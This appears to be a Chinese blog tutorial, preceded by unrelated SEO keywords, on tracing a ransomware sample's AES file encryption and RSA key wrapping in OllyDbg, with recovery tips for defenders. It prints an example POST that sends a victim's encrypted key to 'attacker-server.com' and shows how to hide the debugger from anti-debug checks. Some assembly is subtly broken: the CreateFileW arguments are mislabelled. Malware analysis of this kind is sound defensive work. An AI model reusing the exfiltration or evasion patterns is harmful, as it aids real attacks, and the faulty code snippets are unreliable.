做网站的程序员,it外包公司联系电话,公众号投票,职业生涯规划大赛时间深入勒索软件核心#xff1a;用 Ollydbg 动态追踪 AES 与 RSA 加密全过程你有没有想过#xff0c;当一台电脑突然弹出“你的文件已被加密”的警告时#xff0c;背后究竟发生了什么#xff1f;那些看似无解的勒索软件#xff0c;真的能完全隐藏其运作逻辑吗#xff1f;作为…深入勒索软件核心用 Ollydbg 动态追踪 AES 与 RSA 加密全过程你有没有想过当一台电脑突然弹出“你的文件已被加密”的警告时背后究竟发生了什么那些看似无解的勒索软件真的能完全隐藏其运作逻辑吗作为一名长期从事恶意软件分析的安全工程师我经常面对这样的挑战——没有源码、混淆严重、层层加壳。但只要掌握正确的工具和方法再狡猾的勒索者也逃不过逆向的显微镜。今天我们就以一款典型的勒索软件为对象全程使用 Ollydbg 这款经典调试器从零开始动态还原它的加密流程如何遍历文件何时生成密钥AES 是怎么执行的RSA 又是如何保护密钥的所有答案都藏在运行时的行为里。为什么是 Ollydbg它凭什么成为逆向利器在 IDA Pro 和 Ghidra 大行其道的今天为什么还要用一个看起来“复古”的调试器因为——静态分析看不清运行路径而勒索软件最致命的秘密只在动起来的时候才暴露。Ollydbg 的价值在于它的“临场感”你可以看着 EIP 一步步跳转看着 ESP 堆栈推入参数看着内存中某个缓冲区从明文变成乱码。这种逐指令观察的能力对于理解加密过程至关重要。更重要的是很多现代勒索软件会做以下几件事使用花指令干扰反汇编在运行时解密关键代码段多线程并发加密文件主动检测调试环境并退出。这些行为在静态工具中可能被误判或遗漏但在 Ollydbg 中你却可以单步绕过反调试、实时提取解密后的代码、跟踪每个线程的执行流。它是怎么工作的简单来说Ollydbg 利用 Windows 提供的调试 API如DebugActiveProcess附加到目标进程接管控制权。一旦程序触发断点或异常CPU 就会暂停把当前状态交给你来检查。比如你在WriteFile上设了断点那么每当勒索软件试图写入一个被加密的文件时它就会“定住”。这时你就能回溯调用栈看看前面是不是刚执行了一堆 XOR 和查表操作——那很可能就是 AES 正在工作。典型勒索软件长什么样我们先画个蓝图虽然每款勒索软件都有差异但它们的核心流程高度一致[启动] → [自我复制/提权] → [关闭系统服务] → [遍历磁盘文件] → [生成随机 AES 密钥] → [用 AES 加密文件内容] → [用 RSA 加密 AES 密钥] → [上传密钥至 C2] → [显示勒索信]其中最关键的一步就是“对称加密 非对称封装”的双重机制AES 负责效率快速加密大量用户数据文档、图片、数据库等RSA 负责安全确保只有攻击者才能解开 AES 密钥。我们的任务就是在 Ollydbg 里把这两个环节完整地“抓出来”。第一步加载样本找到真正的入口把可疑的.exe文件拖进 Ollydbg你会看到程序停在入口点。但注意这不一定是真正的逻辑起点。很多勒索软件都会加壳比如 UPX、ASPack 或自定义压缩器。如果你看到一堆PUSH、POP和XOR指令循环跳转基本就可以确定有壳。怎么办我们可以使用“单步跟踪 OEP 识别” 技巧按 F7 单步进入直到遇到CALL指向模块外部观察堆栈是否出现类似kernel32.LoadLibrary的调用继续执行直到看到一大段连续的MOV,CMP,JZ结构查看该地址附近的导入函数是否有FindFirstFile,CreateFileW等文件操作 API。一旦发现这类特征恭喜你已经接近OEPOriginal Entry Point了。⚠️ 提示也可以使用插件如OllyDump或脚本自动脱壳但我们更推荐手动跟踪这样才能真正理解控制流是如何恢复的。第二步设置 API 断点锁定文件操作起点现在我们来到了主逻辑区域。接下来要做的是让程序自己告诉我们“哪里开始加密”。打开 Ollydbg 的“Intermodular Calls”窗口快捷键Alt I搜索以下关键 API 并设置断点API 函数作用FindFirstFileW/FindNextFileW开始遍历目录CreateFileW打开特定文件GetFileSize获取文件大小ReadFile读取原始数据WriteFile写入加密后的内容然后按 F9 让程序运行。很快它会在某个CreateFileW处停下。这时候别急着继续先看下传入的参数push 0x80 ; dwAttributes push 3 ; dwShareMode push 0 ; lpSecurityAttributes push 3 ; dwCreationDisposition push 0x120089 ; dwFlagsAndAttributes push 0 ; hTemplateFile push offset filename ; C:\Users\Test\Documents\report.docx call CreateFileW看到了吗它正在尝试打开一个.docx文件。这就是我们要找的目标第三步顺藤摸瓜定位加密函数文件打开了下一步就是读取、加密、写回。所以我们继续运行直到命中ReadFile。假设程序成功读取了 16 字节的数据紧接着调用了某个未知函数mov eax, dword ptr [buffer] push eax call 0x00403A20进入这个函数后你会发现一系列诡异的操作movzx ecx, byte ptr [eax] ; 取一字节 mov edx, 0x00405000 ; 指向 S-Box 表首地址 add edx, ecx ; 偏移查表 mov cl, byte ptr [edx] ; 得到替换值 mov byte ptr [eax], cl ; 替换原数据 inc eax cmp eax, ebx ; 是否处理完 16 字节 jl short loop_start这是什么这就是SubBytes步骤典型的 AES 替换操作再往上翻你会发现前面还有一组固定的 256×4 字节数据块T-table多次调用ROL,XOR,ADD组合运算固定迭代次数10 轮的循环结构。这些都是 AES 实现的标志性特征。 如何确认是 AES 而不是自定义算法看内存中是否存在标准的S-Box 表前几个字节通常是63, 7C, 77, 7B, F2。如果匹配基本可以断定是 AES-128。第四步关键时刻——捕获 AES 密钥现在我们知道它用了 AES但光知道算法没用关键是密钥在哪回到加密函数调用之前我们在栈上发现了这样一个指针push 0x00D4F100 ; 指向密钥缓冲区 push buffer ; 明文地址 call aes_encrypt切换到内存映射窗口查看0x00D4F100的内容0x00D4F100: 8B A2 1F 9E 6D C3 4A 11 0F 3C 7E 2A 5D 8F 1B 3316 字节符合 AES-128 密钥长度。而且它是在运行时生成的随机数不是硬编码在程序里的。这意味着什么意味着如果我们能在它被加密或上传前截获这个值就有可能实现本地解密但问题是这个密钥不会一直留着。勒索软件通常会在上传后立即清除内存中的副本。所以必须抓紧时间。第五步追踪 RSA 加密看清密钥去向既然 AES 密钥不能长期保存那它是怎么传给攻击者的答案是用 RSA 公钥加密后再外传。继续运行程序你会发现它调用了某个大数运算库或者直接内联了模幂计算逻辑。在 Ollydbg 中这类函数往往表现为对超长整数进行逐字节处理使用固定长度的缓冲区如 128 字节对应 1024 位 RSA出现exp,mod,base等局部变量名最终输出一段看似随机的密文块。此时查看输入参数push 0x00D4F200 ; 输出加密后的密钥128字节 push 0x00D4F100 ; 输入原始 AES 密钥16字节 push offset rsa_n ; 模数 n1024位 push offset rsa_e ; 公钥指数 e通常是 65537 call rsa_encrypt而在内存中rsa_n的位置存放着一串长长的十六进制数0x00408000: A3 B7 ... FF 1D (共 128 字节)这正是嵌入的 RSA 公钥。攻击者将私钥保留在服务器端用于后续解密。第六步网络行为验证——密钥真的传出去了吗为了确认密钥确实外传了我们需要结合外部工具。开启 Wireshark 抓包同时运行样本。你会发现程序在完成加密后发起一个 HTTPS POST 请求POST /upload_key HTTP/1.1 Host: attacker-server.com Content-Type: application/json {id:victim-123,key:qz3kLm9pR...}而请求体中的key字段正好与我们在内存中看到的 RSA 加密结果一致。至此整个链条闭环了✅ 文件被 AES 加密✅ AES 密钥被 RSA 加密✅ 加密结果上传至 C2✅ 用户无法自行恢复除非……能找到漏洞。关键突破口哪些情况下还能免赎金恢复虽然大多数现代勒索软件设计严密但仍有一些历史案例表明并非所有都完美无缺。通过 Ollydbg 分析我们曾发现以下几种可利用的缺陷1. 密钥未清零残留在内存中某些低质量样本在加密完成后并未调用SecureZeroMemory清除密钥缓冲区。重启后虽消失但在运行期间可用内存扫描工具提取。✅ 解法使用 Volatility 或自定义扫描器搜索 AES 密钥特征模式。2. 使用弱随机数生成器有些样本用GetTickCount()或time(NULL)作为种子生成 AES 密钥熵值极低。配合已知明文攻击可在短时间内暴力破解。✅ 解法构建彩虹表预计算可能的密钥空间。3. 公钥硬编码且重复使用若多个受害者使用相同的 RSA 公钥一旦某人侥幸获得私钥如开发失误泄露即可批量解密。✅ 解法参与 No More Ransom 项目共享已破解密钥。实战技巧总结老手都在用的调试秘籍在真实分析中光靠基础功能远远不够。以下是我在多年实践中积累的一些高效技巧✅ 使用 HideDebugger 插件绕过反调试许多勒索软件会调用call IsDebuggerPresent test al, al jnz anti_debug_action只需加载HideDebugger插件勾选“Hide from IsDebuggerPresent”即可伪装成正常环境。✅ 设置内存断点监控密钥变动在疑似密钥地址0x00D4F100上右键 → “Breakpoint” → “Memory access”类型选“On access”。这样一旦程序读取或修改该区域Ollydbg 会立即中断帮助你精准定位密钥使用时机。✅ 编写 .scr 脚本自动化记录创建一个简单的调试脚本自动记录关键事件LOG Starting analysis... BPX CreateFileW RUN LOG Opened file: , P$ESP4 STP ; Step into next call LOG Possible crypto function at: , EIP MEMDUMP 0x00D4F100, 16 ; Dump key buffer节省大量重复操作时间。✅ 差分内存快照定位变化区在加密前后分别使用Snap插件保存内存镜像然后用 BinDiff 或 xdelta 进行比对快速找出被修改的密钥区或配置块。写在最后逆向不仅是技术更是思维训练通过这次完整的 Ollydbg 实战演练我们不仅还原了一个勒索软件的加密全流程更重要的是建立了一套动态分析的方法论不迷信静态分析的结果相信运行时证据善于利用断点、日志、内存监视等小工具解决大问题在复杂逻辑中保持耐心逐层剥离外壳。当然今天的 Ollydbg 主要适用于 32 位程序。对于 x64 样本建议转向x64dbg其界面和操作逻辑几乎完全继承 Ollydbg但支持 64 位架构和更现代的反汇编引擎。未来随着 AI 辅助逆向、符号执行、污点分析等技术的发展恶意软件分析将越来越智能化。但无论如何演进动手调试的能力永远不会过时。毕竟只有亲手走过那条加密之路你才知道哪里埋了陷阱哪里留了后门。如果你也在做逆向分析欢迎在评论区分享你的调试故事。我们一起揭开更多黑暗背后的真相。创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考